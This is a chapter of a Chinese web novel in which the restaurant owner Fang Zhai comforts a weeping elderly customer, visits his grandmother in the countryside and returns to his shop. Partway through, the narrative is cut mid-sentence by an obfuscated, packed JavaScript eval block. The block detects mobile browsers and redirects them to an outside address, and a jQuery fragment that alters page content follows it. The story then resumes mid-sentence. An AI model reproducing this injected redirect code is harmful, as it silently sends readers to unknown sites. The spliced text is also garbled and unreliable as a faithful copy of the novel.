五月的时候，天彻底暖了。
路边的梧桐树长满了叶子，嫩绿的，巴掌大小，在风里哗啦哗啦地响，像无数只手在鼓掌。街上的人都换了短袖，颜色鲜亮了起来，不再是冬天那种黑灰蓝，红的黄的绿的，整条街都跟着热闹了。房寨把店里的窗户全打开了，春风吹进来，带着花香和青草的味道。窗台上那盆栀子花又开了，白色的花瓣，浓得化不开的香味，整个店都是甜的。
店里的生意还是一样好。春天的饭卖得最好，一天能卖七八十份，有时候不到晚上就卖光了。凉面第二，冷馄饨第三。有人专门从别的城市开车过来吃春天的饭，说每年都要吃一次，不吃就觉得春天没过完。房寨听了这话，心里挺高兴的。一道菜能让一个人记住一个季节，这比什么夸奖都强。
王丽和李哥度蜜月回来了。两个人晒黑了不少，李哥的脖子和脸是两个颜色，脸白脖子黑，像一个戴了面具的人。王丽带了很多特产回来，分给店里的人。给房寨的是一包茶叶，说是当地产的，很香。给张建国的是一条围巾，深蓝色的，说是纯羊毛的，很暖和。给小月的是一套彩笔，一百二十色的，比张建国之前买的还多二十色。
“谢谢。”张建国接过围巾，放在一边，没有打开。他的表情很平静，看不出喜怒哀乐。但房寨注意到他把围巾放在了柜子里，不是随便塞进去的，是叠好了放进去的，整整齐齐的，像放一件很重要的东西。
小月对那套彩笔爱不释手，当天就画了一幅画。画的是四个人，王丽、李哥、小月自己，还有张建国。李哥站在王丽旁边，小月站在中间，张建国站在另一边。四个人都笑着，笑得很开心。画的右下角写着：我的家人。
房寨看着这幅画，看了很久。他把画贴在收银台后面的墙上，和之前的画贴在一起。之前的画有两个人、三个人、四个人、五个人，现在又变成了四个人，但人不一样了。以前的那幅四个人是王丽、张建国、小月、房寨。现在这四个人是王丽、李哥、小月、张建国。张建国还在，但位置变了。以前他站在王丽旁边，现在他站在另一边，中间隔了一个小月。
张建国看到这幅画的时候，没有说什么。他站在收银台前面，看着那幅画，看了一会儿，然后转身回了厨房。他切菜的声音很稳，和平时一样，但房寨注意到他今天切菜的速度比平时慢了一些，慢得有点不正常。
五月中的时候，店里发生了一件小事。
一个老太太在店里吃凉面的时候，忽然哭了起来。她坐在靠窗的位置上，吃着吃着，眼泪就掉下来了，一颗一颗地砸在碗里，把凉面的汤汁都冲淡了。店里的客人都在看她，有人想过去问，又怕唐突。
房寨从厨房里出来，走到她面前，蹲下来。
“阿姨，怎么了？”
老太太抬起头，看着他，眼睛红红的。“你这个面，和我儿子做的一个味道。”
“您儿子呢？”
“在外地工作，一年回来一次。”老太太用手背擦了擦眼泪，“我想他了。”
房寨站起来，回到厨房，又做了一碗凉面，多放了一点醋，少放了一点糖。他端到老太太面前。
“阿姨，这碗我请您。您慢慢吃，就当是您儿子做的。”
老太太看着那碗面，又哭了。但这次她一边哭一边笑，一边吃一边流泪。她把两碗面都吃完了，汤也喝了。走的时候，她拉着房寨的手，说了好几遍“谢谢你”。
房寨站在店门口，看着她的背影消失在街角。她的背很驼，走得很慢，鞋底在地上磨，沙沙的。他忽然想起奶奶。奶奶一个人在家，没人陪她吃饭，没人跟她说话，她会不会也这样，吃着一碗面，忽然就哭了？
他掏出手机，给奶奶打了个电话。响了好几声才接，奶奶的声音从听筒里传出来，带着老家的口音，听起来很亲切。
“奶奶，你吃饭了吗？”
“吃了。”
“吃的什么？”
“面条。”
“什么面？”
“就是面条。”奶奶说，“你问这么细干什么？”
房寨笑了。“奶奶，我想你了。”
电话那头沉默了一会儿。
“我也想你了。”奶奶说，声音很小，像怕被别人听到。
五月下旬，房寨回了一趟老家。
这次不是专门回去的，是去县城办点事，顺便回村里看看奶奶。他提前一天走的，坐下午的火车，到县城的时候天已经黑了，住了一晚，第二天一早坐大巴回镇上，再坐摩的回村里。马师傅还在，还是那辆摩托，还是突突突的声音。他的头发白了不少，脸上的皱纹也多了，但精神很好，说话声音还是那么大。
“房寨，你奶奶昨天还在念叨你。”马师傅说。
“念叨我什么？”
“说你什么时候带对象回来。”
房寨没说话。风很大，吹得他睁不开眼睛。
到了家，奶奶正在院子里洗衣服。她蹲在地上，面前是一盆水、一块搓衣板、一堆衣服。她的手泡在水里，红红的，皱皱的，像泡发了的木耳。听到脚步声，她抬起头，看到房寨，愣了一下，然后笑了。
“你怎么又回来了？”
“想你了。”
奶奶站起来，在围裙上擦了擦手，走过来拉着房寨的手，往屋里走。她的手很凉，很湿，但很有力。屋里的炉子烧得很旺，暖烘烘的。桌上摆着几盘菜，一盘炒鸡蛋、一盘炒青菜、一碗汤。菜不多，但都是热的，冒着白气。
“你还没吃饭吧？我给你做去。”奶奶说着就要往厨房走。
“奶奶，我吃过了，你别忙了。”房寨拉住她，“你坐着，我跟你说说话。”
奶奶在沙发上坐下来，两只手放在膝盖上，看着房寨。她的眼睛浑浊了，但里面有一种光，那种光房寨每次看到都会心里发紧。
“奶奶，王丽结婚了。”
“我知道，你说过了。”
“李哥对她很好。”
“那就好。”
“小月也开心。”
“那就好。”
奶奶点了点头，没再问了。她拿起遥控器，打开了电视。电视里在放一个什么节目，几个人在唱歌，唱得很难听，但奶奶听得很认真。
房寨看着她，心里有很多话想说，但不知道从哪一句开始。他想告诉奶奶，他喜欢王丽，王丽跟别人结婚了，他很难受。他想告诉奶奶，他不知道以后该怎么办，不知道房贷还完了之后要做什么。他想告诉奶奶，他很累，很迷茫，很需要一个人告诉他该往哪走。
但他没说。他不想让奶奶担心。奶奶已经七十九了，头发全白了，背驼了，膝盖肿了，走路要拄拐杖了。她不应该再为他的事操心了。
“奶奶。”房寨
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17603368|203000||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
叫了一声。
“嗯。”
“我以后每个月都回来看你。”
奶奶的手停了一下。
“真的？”
“真的。”
奶奶看着他，眼眶红了。“好，我等你。”
房寨在老家待了一天。他帮奶奶把院子里那棵柿子树的枝修剪了一下，去年剪过的，又长出来了，很高，奶奶够不到。他爬上梯子，把高处的枝条锯掉，锯下来的枝条堆在墙角，晒干了当柴烧。
他还帮奶奶把屋顶的瓦片检查了一遍，有几块碎了，他买了新的换上。屋顶不漏水了，奶奶说“你走了之后我一个人不敢上房”。房寨说“以后别上房了，等我回来弄”。奶奶说“你每个月都回来，我就不用上房了”。房寨笑了。
走的时候，奶奶送他到村口。她穿着那件红棉袄，头发盘得整整齐齐，站在树下，风吹着她的白发。她这次没哭，笑着冲他挥手。
“下个月还回来？”
“回来。”
“别忘了。”
“忘不了。”
房寨上了摩的，马师傅发动车子，突突突的。他回头看了一眼，奶奶还站在原地，手举着，一直没放下。
他转过头，风打在脸上，凉飕飕的。他的眼眶红了，但没哭。
回到城里，已经是下午了。房寨直接去了店里，张建国在厨房里忙活，小赵在外面点单，周阿姨在洗碗。一切正常，和他走的时候一样。他走进厨房，系上围裙，开始炒菜。灶火很旺，锅里的油热了，菜倒进去，刺啦一声，香味炸开。
“寨哥，你奶奶怎么样？”张建国问。
“还行，就是膝盖不好。”
“老人嘛，都这样。”
房寨点了点头，没再说话。他炒菜的时候很专注，不想别的事，只想着锅里的菜。盐放多少，火候多大，什么时候出锅。这些事占据了他的大脑，让他没空想别的。
晚上关店之后，房寨一个人坐在店里，把那本记账本拿出来翻了翻。他翻到第一页，上面写着：开店第一天，净赚820。旁边画了一个笑脸。他看着那个笑脸，笑了一下。两年前的今天，他还在为一天赚几百块钱高兴得不行。现在他一天赚一千多，但高兴的时候少了。
不是不高兴，是高兴的标准变了。以前觉得赚到钱就是高兴，现在觉得看到客人吃完了说“好吃”才是高兴。以前觉得还了房贷就是高兴，现在觉得看到小月长高了、张建国切菜的声音很稳、奶奶说“我等你”才是高兴。
他合上记账本，放回抽屉里。文件柜已经到了，白色的，三层的，他把抽屉里的东西都搬了进去，发票、收据、名片、请柬、小月的画、张建国的对联、客人们写的纸条，分门别类地放好，整整齐齐的。他看了一眼，很满意。
他站起来，关了灯，锁了门。大橘猫在楼道口等他，看到他来了，喵喵叫着跑过来，蹭他的腿。它现在不蹲在楼道口了，直接蹲在他门口，每次看到他回来就冲过来，像是等了很久。
房寨蹲下来，摸了摸它的头。猫的毛很厚，很软，摸上去很舒服。它眯着眼睛，发出咕噜咕噜的声音，很满足的样子。
“走吧，上楼。”
猫跟在他后面，一步一步地爬上楼梯。它的步子很轻，几乎没有声音，但楼梯上的声控灯被它踩亮了一盏，又一盏，又一盏，像有人在给他照路。